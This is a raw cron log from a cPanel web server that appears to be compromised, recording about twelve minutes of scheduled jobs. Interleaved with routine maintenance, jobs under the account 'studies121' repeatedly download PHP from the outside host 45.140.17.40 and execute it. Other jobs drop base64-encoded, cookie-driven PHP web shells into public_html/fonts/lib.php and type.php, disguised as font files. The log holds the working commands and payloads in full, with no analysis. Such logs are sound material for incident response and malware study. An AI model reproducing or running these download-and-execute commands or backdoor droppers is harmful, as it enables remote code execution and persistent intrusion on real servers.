Sep  3 06:58:01 ip-184-168-122-23 CROND[22370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:58:01 ip-184-168-122-23 CROND[22371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:59:01 ip-184-168-122-23 CROND[22485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:59:01 ip-184-168-122-23 CROND[22486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:59:01 ip-184-168-122-23 CROND[22488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:59:01 ip-184-168-122-23 CROND[22487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:00:01 ip-184-168-122-23 CROND[22603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:00:01 ip-184-168-122-23 CROND[22605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:00:01 ip-184-168-122-23 CROND[22609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:00:01 ip-184-168-122-23 CROND[22608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:00:01 ip-184-168-122-23 CROND[22607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:00:01 ip-184-168-122-23 CROND[22611]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:00:01 ip-184-168-122-23 CROND[22606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:00:01 ip-184-168-122-23 CROND[22610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:01:02 ip-184-168-122-23 CROND[22742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:01:02 ip-184-168-122-23 CROND[22743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:01:02 ip-184-168-122-23 CROND[22744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:01:02 ip-184-168-122-23 CROND[22745]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:01:02 ip-184-168-122-23 CROND[22746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:01:02 ip-184-168-122-23 CROND[22747]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 07:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22747]: starting 0anacron
Sep  3 07:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22763]: finished 0anacron
Sep  3 07:02:01 ip-184-168-122-23 CROND[22871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:02:01 ip-184-168-122-23 CROND[22873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:02:01 ip-184-168-122-23 CROND[22874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:02:01 ip-184-168-122-23 CROND[22877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:02:01 ip-184-168-122-23 CROND[22875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:03:01 ip-184-168-122-23 CROND[23076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:03:01 ip-184-168-122-23 CROND[23079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:03:01 ip-184-168-122-23 CROND[23078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:03:01 ip-184-168-122-23 CROND[23080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:04:01 ip-184-168-122-23 CROND[23191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:04:01 ip-184-168-122-23 CROND[23193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:04:01 ip-184-168-122-23 CROND[23192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:04:01 ip-184-168-122-23 CROND[23194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:04:01 ip-184-168-122-23 CROND[23195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:05:01 ip-184-168-122-23 CROND[23318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:05:01 ip-184-168-122-23 CROND[23319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:05:01 ip-184-168-122-23 CROND[23321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:05:01 ip-184-168-122-23 CROND[23326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:05:01 ip-184-168-122-23 CROND[23323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:05:01 ip-184-168-122-23 CROND[23324]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:05:01 ip-184-168-122-23 CROND[23325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:06:01 ip-184-168-122-23 CROND[23464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:06:01 ip-184-168-122-23 CROND[23465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:06:01 ip-184-168-122-23 CROND[23466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:06:01 ip-184-168-122-23 CROND[23468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:06:01 ip-184-168-122-23 CROND[23473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:07:01 ip-184-168-122-23 CROND[23591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:07:01 ip-184-168-122-23 CROND[23590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:07:01 ip-184-168-122-23 CROND[23594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:07:01 ip-184-168-122-23 CROND[23593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:08:01 ip-184-168-122-23 CROND[23774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:08:01 ip-184-168-122-23 CROND[23776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:08:01 ip-184-168-122-23 CROND[23778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:08:01 ip-184-168-122-23 CROND[23777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:08:01 ip-184-168-122-23 CROND[23779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:09:02 ip-184-168-122-23 CROND[23907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:09:02 ip-184-168-122-23 CROND[23910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:09:02 ip-184-168-122-23 CROND[23909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:09:02 ip-184-168-122-23 CROND[23912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:09:02 ip-184-168-122-23 CROND[23914]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 07:10:02 ip-184-168-122-23 CROND[24034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:10:02 ip-184-168-122-23 CROND[24033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:10:02 ip-184-168-122-23 CROND[24040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:10:02 ip-184-168-122-23 CROND[24043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:10:02 ip-184-168-122-23 CROND[24044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:10:02 ip-184-168-122-23 CROND[24042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
